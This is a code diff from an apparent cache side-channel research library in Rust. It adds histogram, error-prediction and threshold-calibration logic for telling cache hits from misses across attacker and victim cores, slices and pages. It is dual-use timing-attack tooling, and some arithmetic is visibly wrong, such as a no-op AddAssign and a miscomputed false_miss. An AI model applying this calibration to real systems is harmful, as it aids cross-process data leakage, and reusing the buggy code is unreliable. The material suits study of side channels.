let av_detailed = &av_detailed_errors[key];
|
||||||
|
print!("{},", format_detailed_model(av_global, av_detailed));
|
||||||
|
|
||||||
|
let gt_global = >_threshold_error;
|
||||||
|
let gt_detailed = >_detailed_errors[key];
|
||||||
|
print!("{},", format_detailed_model(gt_global, gt_detailed));
|
||||||
|
println!();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//The two other CSV are summaries that allowdetermining the best case. Index in the first CSV for the detailed info.
|
||||||
|
// Second CSV output logic:
|
||||||
|
|
||||||
|
// Build keys
|
||||||
|
let mut keys = asvp_best_av_errors.keys().collect::<Vec<&AV>>();
|
||||||
|
keys.sort_unstable_by(|a: &&AV, b: &&AV| {
|
||||||
|
if a.attacker > b.attacker {
|
||||||
|
Ordering::Greater
|
||||||
|
} else if a.attacker < b.attacker {
|
||||||
|
Ordering::Less
|
||||||
|
} else if a.victim > b.victim {
|
||||||
|
Ordering::Greater
|
||||||
|
} else if a.victim < b.victim {
|
||||||
|
Ordering::Less
|
||||||
|
} else {
|
||||||
|
Ordering::Equal
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Print header
|
||||||
|
println!(
|
||||||
|
"AVAnalysis:Attacker,Victim,{},{}",
|
||||||
|
error_header("AVSP_Best_AV_"),
|
||||||
|
error_header("AV_Best_AV_")
|
||||||
|
);
|
||||||
|
//print lines
|
||||||
|
|
||||||
|
for av in keys {
|
||||||
|
println!(
|
||||||
|
"AVAnalysis:{attacker},{victim},{AVSP},{AV}",
|
||||||
|
attacker = av.attacker,
|
||||||
|
victim = av.victim,
|
||||||
|
AVSP = format_error(&asvp_best_av_errors[av].0),
|
||||||
|
AV = format_error(&av_threshold_errors[av].error),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Third CSV output logic:
|
||||||
|
|
||||||
|
// Build keys
|
||||||
|
let mut keys = asvp_best_a_errors.keys().collect::<Vec<&usize>>();
|
||||||
|
keys.sort_unstable();
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"AttackerAnalysis:Attacker,{},{},{}",
|
||||||
|
error_header("AVSP_Best_A_"),
|
||||||
|
error_header("ASP_Best_A_"),
|
||||||
|
error_header("AV_Best_A_"),
|
||||||
|
);
|
||||||
|
|
||||||
|
for attacker in keys {
|
||||||
|
println!(
|
||||||
|
"AttackerAnalysis:{attacker},{AVSP},{ASP},{AV}",
|
||||||
|
attacker = attacker,
|
||||||
|
AVSP = format_error(&asvp_best_a_errors[&attacker].0),
|
||||||
|
ASP = format_error(&asp_best_a_errors[&attacker].0),
|
||||||
|
AV = format_error(&av_best_a_erros[&attacker].0)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
println!(
|
||||||
|
"analysis result: {:?}",
|
||||||
|
asvp_threshold_errors.keys().copied().collect::<Vec<ASVP>>()
|
||||||
|
);
|
||||||
|
println!("Global Analysis: {:#?}", global_threshold_errors);
|
||||||
|
println!(
|
||||||
|
"Global thrshold total error rate :{}",
|
||||||
|
global_threshold_errors.error.error_rate()
|
||||||
|
);*/
|
||||||
}
|
}
|
||||||
|
@ -34,6 +34,12 @@ use core::sync::atomic::{spin_loop_hint, AtomicBool, AtomicPtr, Ordering};
|
|||||||
use itertools::Itertools;
|
use itertools::Itertools;
|
||||||
|
|
||||||
use atomic::Atomic;
|
use atomic::Atomic;
|
||||||
|
use core::hash::Hash;
|
||||||
|
use core::ops::{Add, AddAssign};
|
||||||
|
#[cfg(feature = "no_std")]
|
||||||
|
use hashbrown::HashMap;
|
||||||
|
#[cfg(feature = "use_std")]
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
#[derive(Ord, PartialOrd, Eq, PartialEq)]
|
#[derive(Ord, PartialOrd, Eq, PartialEq)]
|
||||||
pub enum Verbosity {
|
pub enum Verbosity {
|
||||||
@ -106,6 +112,12 @@ pub unsafe fn l3_and_reload(p: *const u8) -> u64 {
|
|||||||
only_reload(p)
|
only_reload(p)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub const PAGE_LEN: usize = 1 << 12;
|
||||||
|
|
||||||
|
pub fn get_vpn<T>(p: *const T) -> usize {
|
||||||
|
(p as usize) & (!(PAGE_LEN - 1)) // FIXME
|
||||||
|
}
|
||||||
|
|
||||||
const BUCKET_SIZE: usize = 5;
|
const BUCKET_SIZE: usize = 5;
|
||||||
const BUCKET_NUMBER: usize = 250;
|
const BUCKET_NUMBER: usize = 250;
|
||||||
|
|
||||||
@ -918,3 +930,764 @@ pub fn calibrate_L3_miss_hit(
|
|||||||
|
|
||||||
r.into_iter().next().unwrap()
|
r.into_iter().next().unwrap()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
ASVP trait ?
|
||||||
|
Easily put any combination, use None to signal Any possible value, Some to signal fixed value.
|
||||||
|
*/
|
||||||
|
|
||||||
|
pub type VPN = usize;
|
||||||
|
pub type Slice = u8;
|
||||||
|
|
||||||
|
#[derive(PartialEq, Eq, Debug, Hash, Clone, Copy, Default)]
|
||||||
|
pub struct ASVP {
|
||||||
|
pub attacker: usize,
|
||||||
|
pub slice: Slice,
|
||||||
|
pub victim: usize,
|
||||||
|
pub page: VPN,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(PartialEq, Eq, Debug, Hash, Clone, Copy, Default)]
|
||||||
|
pub struct CSP {
|
||||||
|
pub core: usize,
|
||||||
|
pub slice: Slice,
|
||||||
|
pub page: VPN,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(PartialEq, Eq, Debug, Hash, Clone, Copy, Default)]
|
||||||
|
pub struct ASP {
|
||||||
|
pub attacker: usize,
|
||||||
|
pub slice: Slice,
|
||||||
|
pub page: VPN,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(PartialEq, Eq, Debug, Hash, Clone, Copy, Default)]
|
||||||
|
pub struct SVP {
|
||||||
|
pub slice: Slice,
|
||||||
|
pub victim: usize,
|
||||||
|
pub page: VPN,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(PartialEq, Eq, Debug, Hash, Clone, Copy, Default)]
|
||||||
|
pub struct SP {
|
||||||
|
pub slice: Slice,
|
||||||
|
pub page: VPN,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(PartialEq, Eq, Debug, Hash, Clone, Copy, Default)]
|
||||||
|
pub struct AV {
|
||||||
|
pub attacker: usize,
|
||||||
|
pub victim: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct RawHistogram {
|
||||||
|
pub hit: Vec<u32>,
|
||||||
|
pub miss: Vec<u32>,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ALL Histogram deal in buckets : FIXME we should clearly distinguish bucket vs time.
|
||||||
|
// Thresholds are less than equal.
|
||||||
|
impl RawHistogram {
|
||||||
|
pub fn from(
|
||||||
|
mut calibrate_result: CalibrateResult,
|
||||||
|
hit_index: usize,
|
||||||
|
miss_index: usize,
|
||||||
|
) -> Self {
|
||||||
|
calibrate_result.histogram.push(Vec::default());
|
||||||
|
let hit = calibrate_result.histogram.swap_remove(hit_index);
|
||||||
|
calibrate_result.histogram.push(Vec::default());
|
||||||
|
let miss = calibrate_result.histogram.swap_remove(miss_index);
|
||||||
|
RawHistogram { hit, miss }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn empty(len: usize) -> Self {
|
||||||
|
Self {
|
||||||
|
hit: vec![0; len],
|
||||||
|
miss: vec![0; len],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Addition logic
|
||||||
|
|
||||||
|
// Tough case, both references.
|
||||||
|
|
||||||
|
impl Add for &RawHistogram {
|
||||||
|
type Output = RawHistogram;
|
||||||
|
|
||||||
|
fn add(self, rhs: &RawHistogram) -> Self::Output {
|
||||||
|
assert_eq!(self.hit.len(), rhs.hit.len());
|
||||||
|
assert_eq!(self.miss.len(), rhs.miss.len());
|
||||||
|
assert_eq!(self.hit.len(), self.miss.len());
|
||||||
|
let len = self.hit.len();
|
||||||
|
let mut r = RawHistogram {
|
||||||
|
hit: vec![0; len],
|
||||||
|
miss: vec![0; len],
|
||||||
|
};
|
||||||
|
for i in 0..len {
|
||||||
|
r.hit[i] = self.hit[i] + rhs.hit[i];
|
||||||
|
r.miss[i] = self.miss[i] + rhs.miss[i];
|
||||||
|
}
|
||||||
|
r
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// most common case re-use of self is possible. (Or a reduction to such a case)
|
||||||
|
|
||||||
|
impl AddAssign<&RawHistogram> for RawHistogram {
|
||||||
|
//type Rhs = &RawHistogram;
|
||||||
|
fn add_assign(&mut self, rhs: &Self) {
|
||||||
|
assert_eq!(self.hit.len(), rhs.hit.len());
|
||||||
|
assert_eq!(self.miss.len(), rhs.miss.len());
|
||||||
|
assert_eq!(self.hit.len(), self.miss.len());
|
||||||
|
|
||||||
|
for i in 0..self.hit.len() {
|
||||||
|
self.hit[i] + rhs.hit[i];
|
||||||
|
self.miss[i] + rhs.miss[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback to most common case
|
||||||
|
|
||||||
|
impl Add for RawHistogram {
|
||||||
|
type Output = RawHistogram;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<&Self> for RawHistogram {
|
||||||
|
type Output = RawHistogram;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: &Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<RawHistogram> for &RawHistogram {
|
||||||
|
type Output = RawHistogram;
|
||||||
|
|
||||||
|
fn add(self, mut rhs: RawHistogram) -> Self::Output {
|
||||||
|
rhs += self;
|
||||||
|
rhs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AddAssign<Self> for RawHistogram {
|
||||||
|
fn add_assign(&mut self, rhs: Self) {
|
||||||
|
*self += &rhs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn cum_sum(vector: &[u32]) -> Vec<u32> {
|
||||||
|
let len = vector.len();
|
||||||
|
let mut res = vec![0; len];
|
||||||
|
res[0] = vector[0];
|
||||||
|
for i in 1..len {
|
||||||
|
res[i] = res[i - 1] + vector[i];
|
||||||
|
}
|
||||||
|
assert_eq!(len, res.len());
|
||||||
|
assert_eq!(len, vector.len());
|
||||||
|
res
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct HistogramCumSum {
|
||||||
|
pub num_hit: u32,
|
||||||
|
pub num_miss: u32,
|
||||||
|
pub hit: Vec<u32>,
|
||||||
|
pub miss: Vec<u32>,
|
||||||
|
pub hit_cum_sum: Vec<u32>,
|
||||||
|
pub miss_cum_sum: Vec<u32>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl HistogramCumSum {
|
||||||
|
pub fn from(raw_histogram: RawHistogram) -> Self {
|
||||||
|
let len = raw_histogram.miss.len();
|
||||||
|
|
||||||
|
assert_eq!(raw_histogram.hit.len(), len);
|
||||||
|
|
||||||
|
// Cum Sums
|
||||||
|
let miss_cum_sum = cum_sum(&raw_histogram.miss);
|
||||||
|
let hit_cum_sum = cum_sum(&raw_histogram.hit);
|
||||||
|
let miss_total = miss_cum_sum[len - 1];
|
||||||
|
let hit_total = hit_cum_sum[len - 1];
|
||||||
|
Self {
|
||||||
|
num_hit: hit_total,
|
||||||
|
num_miss: miss_total,
|
||||||
|
hit: raw_histogram.hit,
|
||||||
|
miss: raw_histogram.miss,
|
||||||
|
hit_cum_sum,
|
||||||
|
miss_cum_sum,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn from_calibrate(
|
||||||
|
calibrate_result: CalibrateResult,
|
||||||
|
hit_index: usize,
|
||||||
|
miss_index: usize,
|
||||||
|
) -> Self {
|
||||||
|
Self::from(RawHistogram::from(calibrate_result, hit_index, miss_index))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn error_for_threshold(&self, threshold: Threshold) -> ErrorPrediction {
|
||||||
|
if threshold.miss_faster_than_hit {
|
||||||
|
ErrorPrediction {
|
||||||
|
true_hit: self.num_hit - self.hit_cum_sum[threshold.bucket_index],
|
||||||
|
true_miss: self.miss_cum_sum[threshold.bucket_index],
|
||||||
|
false_hit: self.num_miss - self.miss_cum_sum[threshold.bucket_index],
|
||||||
|
false_miss: self.hit_cum_sum[threshold.bucket_index],
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
ErrorPrediction {
|
||||||
|
true_hit: self.hit_cum_sum[threshold.bucket_index],
|
||||||
|
true_miss: self.num_miss - self.miss_cum_sum[threshold.bucket_index],
|
||||||
|
false_hit: self.miss_cum_sum[threshold.bucket_index],
|
||||||
|
false_miss: self.num_hit - self.hit_cum_sum[threshold.bucket_index],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn len(&self) -> usize {
|
||||||
|
self.hit.len()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn empty(len: usize) -> Self {
|
||||||
|
Self {
|
||||||
|
num_hit: 0,
|
||||||
|
num_miss: 0,
|
||||||
|
hit: vec![0; len],
|
||||||
|
miss: vec![0; len],
|
||||||
|
hit_cum_sum: vec![0; len],
|
||||||
|
miss_cum_sum: vec![0; len],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Addition logic
|
||||||
|
|
||||||
|
// Tough case, both references.
|
||||||
|
|
||||||
|
impl Add for &HistogramCumSum {
|
||||||
|
type Output = HistogramCumSum;
|
||||||
|
|
||||||
|
fn add(self, rhs: &HistogramCumSum) -> Self::Output {
|
||||||
|
assert_eq!(self.hit.len(), self.miss.len());
|
||||||
|
assert_eq!(self.hit.len(), self.hit_cum_sum.len());
|
||||||
|
assert_eq!(self.hit.len(), self.miss_cum_sum.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.hit.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.miss.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.hit_cum_sum.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.miss_cum_sum.len());
|
||||||
|
let len = self.len();
|
||||||
|
let mut r = HistogramCumSum {
|
||||||
|
num_hit: self.num_hit + rhs.num_hit,
|
||||||
|
num_miss: self.num_miss + rhs.num_miss,
|
||||||
|
hit: vec![0; len],
|
||||||
|
miss: vec![0; len],
|
||||||
|
hit_cum_sum: vec![0; len],
|
||||||
|
miss_cum_sum: vec![0; len],
|
||||||
|
};
|
||||||
|
for i in 0..len {
|
||||||
|
r.hit[i] = self.hit[i] + rhs.hit[i];
|
||||||
|
r.miss[i] = self.miss[i] + rhs.miss[i];
|
||||||
|
r.hit_cum_sum[i] = self.hit_cum_sum[i] + rhs.hit_cum_sum[i];
|
||||||
|
r.miss_cum_sum[i] = self.miss_cum_sum[i] + rhs.miss_cum_sum[i];
|
||||||
|
}
|
||||||
|
r
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// most common case re-use of self is possible. (Or a reduction to such a case)
|
||||||
|
|
||||||
|
impl AddAssign<&Self> for HistogramCumSum {
|
||||||
|
fn add_assign(&mut self, rhs: &Self) {
|
||||||
|
assert_eq!(self.hit.len(), self.miss.len());
|
||||||
|
assert_eq!(self.hit.len(), self.hit_cum_sum.len());
|
||||||
|
assert_eq!(self.hit.len(), self.miss_cum_sum.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.hit.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.miss.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.hit_cum_sum.len());
|
||||||
|
assert_eq!(self.hit.len(), rhs.miss_cum_sum.len());
|
||||||
|
self.num_hit += rhs.num_hit;
|
||||||
|
self.num_miss += rhs.num_miss;
|
||||||
|
let len = self.len();
|
||||||
|
for i in 0..len {
|
||||||
|
self.hit[i] += rhs.hit[i];
|
||||||
|
self.miss[i] += rhs.miss[i];
|
||||||
|
self.hit_cum_sum[i] += rhs.hit_cum_sum[i];
|
||||||
|
self.miss_cum_sum[i] += rhs.miss_cum_sum[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback to most common case
|
||||||
|
|
||||||
|
impl Add for HistogramCumSum {
|
||||||
|
type Output = HistogramCumSum;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<&Self> for HistogramCumSum {
|
||||||
|
type Output = HistogramCumSum;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: &Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<HistogramCumSum> for &HistogramCumSum {
|
||||||
|
type Output = HistogramCumSum;
|
||||||
|
|
||||||
|
fn add(self, mut rhs: HistogramCumSum) -> Self::Output {
|
||||||
|
rhs += self;
|
||||||
|
rhs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AddAssign<Self> for HistogramCumSum {
|
||||||
|
fn add_assign(&mut self, rhs: Self) {
|
||||||
|
*self += &rhs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
|
pub struct ErrorPrediction {
|
||||||
|
pub true_hit: u32,
|
||||||
|
pub true_miss: u32,
|
||||||
|
pub false_hit: u32,
|
||||||
|
pub false_miss: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ErrorPrediction {
|
||||||
|
pub fn total_error(&self) -> u32 {
|
||||||
|
self.false_hit + self.false_miss
|
||||||
|
}
|
||||||
|
pub fn total(&self) -> u32 {
|
||||||
|
self.false_hit + self.false_miss + self.true_hit + self.true_miss
|
||||||
|
}
|
||||||
|
pub fn error_rate(&self) -> f32 {
|
||||||
|
(self.false_miss + self.false_hit) as f32 / (self.total() as f32)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add for &ErrorPrediction {
|
||||||
|
type Output = ErrorPrediction;
|
||||||
|
|
||||||
|
fn add(self, rhs: &ErrorPrediction) -> Self::Output {
|
||||||
|
ErrorPrediction {
|
||||||
|
true_hit: self.true_hit + rhs.true_hit,
|
||||||
|
true_miss: self.true_miss + rhs.true_miss,
|
||||||
|
false_hit: self.false_hit + rhs.false_hit,
|
||||||
|
false_miss: self.true_miss + rhs.false_miss,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// most common case re-use of self is possible. (Or a reduction to such a case)
|
||||||
|
|
||||||
|
impl AddAssign<&Self> for ErrorPrediction {
|
||||||
|
fn add_assign(&mut self, rhs: &Self) {
|
||||||
|
self.true_hit += rhs.true_hit;
|
||||||
|
self.true_miss += rhs.true_miss;
|
||||||
|
self.false_hit += rhs.false_hit;
|
||||||
|
self.false_miss += rhs.false_miss;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback to most common case
|
||||||
|
|
||||||
|
impl Add for ErrorPrediction {
|
||||||
|
type Output = ErrorPrediction;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<&Self> for ErrorPrediction {
|
||||||
|
type Output = ErrorPrediction;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: &Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<ErrorPrediction> for &ErrorPrediction {
|
||||||
|
type Output = ErrorPrediction;
|
||||||
|
|
||||||
|
fn add(self, mut rhs: ErrorPrediction) -> Self::Output {
|
||||||
|
rhs += self;
|
||||||
|
rhs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AddAssign<Self> for ErrorPrediction {
|
||||||
|
fn add_assign(&mut self, rhs: Self) {
|
||||||
|
*self += &rhs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct ErrorPredictions {
|
||||||
|
pub histogram: HistogramCumSum,
|
||||||
|
pub error_miss_less_than_hit: Vec<u32>,
|
||||||
|
pub error_hit_less_than_miss: Vec<u32>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ErrorPredictions {
|
||||||
|
// BUGGY TODO
|
||||||
|
pub fn predict_errors(hist: HistogramCumSum) -> Self {
|
||||||
|
let mut error_miss_less_than_hit = vec![0; hist.len() - 1];
|
||||||
|
let mut error_hit_less_than_miss = vec![0; hist.len() - 1];
|
||||||
|
for threshold_bucket_index in 0..(hist.len() - 1) {
|
||||||
|
error_miss_less_than_hit[threshold_bucket_index] = hist
|
||||||
|
.error_for_threshold(Threshold {
|
||||||
|
bucket_index: threshold_bucket_index,
|
||||||
|
miss_faster_than_hit: true,
|
||||||
|
})
|
||||||
|
.total_error();
|
||||||
|
|
||||||
|
error_hit_less_than_miss[threshold_bucket_index] = hist
|
||||||
|
.error_for_threshold(Threshold {
|
||||||
|
bucket_index: threshold_bucket_index,
|
||||||
|
miss_faster_than_hit: false,
|
||||||
|
})
|
||||||
|
.total_error();
|
||||||
|
}
|
||||||
|
Self {
|
||||||
|
histogram: hist,
|
||||||
|
error_miss_less_than_hit,
|
||||||
|
error_hit_less_than_miss,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn empty(len: usize) -> Self {
|
||||||
|
Self::predict_errors(HistogramCumSum::empty(len))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn debug(&self) {
|
||||||
|
println!("Debug:HEADER TBD");
|
||||||
|
for i in 0..(self.histogram.len() - 1) {
|
||||||
|
println!(
|
||||||
|
"Debug:{:5},{:5},{:6},{:6},{:6}, {:6}",
|
||||||
|
self.histogram.hit[i],
|
||||||
|
self.histogram.miss[i],
|
||||||
|
self.histogram.hit_cum_sum[i],
|
||||||
|
self.histogram.miss_cum_sum[i],
|
||||||
|
self.error_miss_less_than_hit[i],
|
||||||
|
self.error_hit_less_than_miss[i]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
let i = self.histogram.len() - 1;
|
||||||
|
println!(
|
||||||
|
"Debug:{:5},{:5},{:6},{:6}",
|
||||||
|
self.histogram.hit[i],
|
||||||
|
self.histogram.miss[i],
|
||||||
|
self.histogram.hit_cum_sum[i],
|
||||||
|
self.histogram.miss_cum_sum[i]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Addition logic
|
||||||
|
|
||||||
|
// Tough case, both references.
|
||||||
|
|
||||||
|
impl Add for &ErrorPredictions {
|
||||||
|
type Output = ErrorPredictions;
|
||||||
|
|
||||||
|
fn add(self, rhs: &ErrorPredictions) -> Self::Output {
|
||||||
|
assert_eq!(
|
||||||
|
self.error_hit_less_than_miss.len(),
|
||||||
|
rhs.error_hit_less_than_miss.len()
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
self.error_hit_less_than_miss.len(),
|
||||||
|
self.error_miss_less_than_hit.len()
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
self.error_miss_less_than_hit.len(),
|
||||||
|
rhs.error_miss_less_than_hit.len()
|
||||||
|
);
|
||||||
|
let len = self.error_miss_less_than_hit.len();
|
||||||
|
let mut r = ErrorPredictions {
|
||||||
|
histogram: &self.histogram + &rhs.histogram,
|
||||||
|
error_miss_less_than_hit: vec![0; len],
|
||||||
|
error_hit_less_than_miss: vec![0; len],
|
||||||
|
};
|
||||||
|
for i in 0..len {
|
||||||
|
r.error_miss_less_than_hit[i] =
|
||||||
|
self.error_miss_less_than_hit[i] + rhs.error_miss_less_than_hit[i];
|
||||||
|
r.error_hit_less_than_miss[i] =
|
||||||
|
self.error_hit_less_than_miss[i] + rhs.error_hit_less_than_miss[i];
|
||||||
|
}
|
||||||
|
r
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// most common case re-use of self is possible. (Or a reduction to such a case)
|
||||||
|
|
||||||
|
impl AddAssign<&Self> for ErrorPredictions {
|
||||||
|
fn add_assign(&mut self, rhs: &Self) {
|
||||||
|
assert_eq!(
|
||||||
|
self.error_hit_less_than_miss.len(),
|
||||||
|
rhs.error_hit_less_than_miss.len()
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
self.error_hit_less_than_miss.len(),
|
||||||
|
self.error_miss_less_than_hit.len()
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
self.error_miss_less_than_hit.len(),
|
||||||
|
rhs.error_miss_less_than_hit.len()
|
||||||
|
);
|
||||||
|
self.histogram += &rhs.histogram;
|
||||||
|
for i in 0..self.error_hit_less_than_miss.len() {
|
||||||
|
self.error_hit_less_than_miss[i] += rhs.error_hit_less_than_miss[i];
|
||||||
|
self.error_miss_less_than_hit[i] += rhs.error_miss_less_than_hit[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fallback to most common case
|
||||||
|
|
||||||
|
impl Add for ErrorPredictions {
|
||||||
|
type Output = ErrorPredictions;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<&Self> for ErrorPredictions {
|
||||||
|
type Output = ErrorPredictions;
|
||||||
|
|
||||||
|
fn add(mut self, rhs: &Self) -> Self::Output {
|
||||||
|
self += rhs;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Add<ErrorPredictions> for &ErrorPredictions {
|
||||||
|
type Output = ErrorPredictions;
|
||||||
|
|
||||||
|
fn add(self, mut rhs: ErrorPredictions) -> Self::Output {
|
||||||
|
rhs += self;
|
||||||
|
rhs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AddAssign<Self> for ErrorPredictions {
|
||||||
|
fn add_assign(&mut self, rhs: Self) {
|
||||||
|
*self += &rhs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
|
pub struct ThresholdError {
|
||||||
|
pub threshold: Threshold,
|
||||||
|
pub error: ErrorPrediction,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct PotentialThresholds {
|
||||||
|
pub threshold_errors: Vec<ThresholdError>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PotentialThresholds {
|
||||||
|
pub fn median(mut self) -> Option<ThresholdError> {
|
||||||
|
if self.threshold_errors.len() > 0 {
|
||||||
|
let index = (self.threshold_errors.len() - 1) / 2;
|
||||||
|
self.threshold_errors.push(Default::default());
|
||||||
|
Some(self.threshold_errors.swap_remove(index))
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn minimizing_total_error(error_pred: ErrorPredictions) -> Self {
|
||||||
|
let mut min_error = u32::max_value();
|
||||||
|
let mut threshold_errors = Vec::new();
|
||||||
|
for i in 0..error_pred.error_miss_less_than_hit.len() {
|
||||||
|
if error_pred.error_miss_less_than_hit[i] < min_error {
|
||||||
|
min_error = error_pred.error_miss_less_than_hit[i];
|
||||||
|
threshold_errors = Vec::new();
|
||||||
|
}
|
||||||
|
if error_pred.error_hit_less_than_miss[i] < min_error {
|
||||||
|
min_error = error_pred.error_hit_less_than_miss[i];
|
||||||
|
threshold_errors = Vec::new();
|
||||||
|
}
|
||||||
|
if error_pred.error_miss_less_than_hit[i] == min_error {
|
||||||
|
let threshold = Threshold {
|
||||||
|
bucket_index: i,
|
||||||
|
miss_faster_than_hit: true,
|
||||||
|
};
|
||||||
|
let error = error_pred.histogram.error_for_threshold(threshold);
|
||||||
|
threshold_errors.push(ThresholdError { threshold, error })
|
||||||
|
}
|
||||||
|
if error_pred.error_hit_less_than_miss[i] == min_error {
|
||||||
|
let threshold = Threshold {
|
||||||
|
bucket_index: i,
|
||||||
|
miss_faster_than_hit: false,
|
||||||
|
};
|
||||||
|
let error = error_pred.histogram.error_for_threshold(threshold);
|
||||||
|
threshold_errors.push(ThresholdError { threshold, error })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Self { threshold_errors }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Thresholds are less than equal.
|
||||||
|
// usize for bucket, u64 for time.
|
||||||
|
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
|
||||||
|
pub struct Threshold {
|
||||||
|
pub bucket_index: usize,
|
||||||
|
pub miss_faster_than_hit: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Threshold {
|
||||||
|
// FIXME !!!!
|
||||||
|
fn to_time(&self, bucket: usize) -> u64 {
|
||||||
|
bucket as u64
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_hit(&self, time: u64) -> bool {
|
||||||
|
self.miss_faster_than_hit && time >= self.to_time(self.bucket_index)
|
||||||
|
|| !self.miss_faster_than_hit && time < self.to_time(self.bucket_index)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
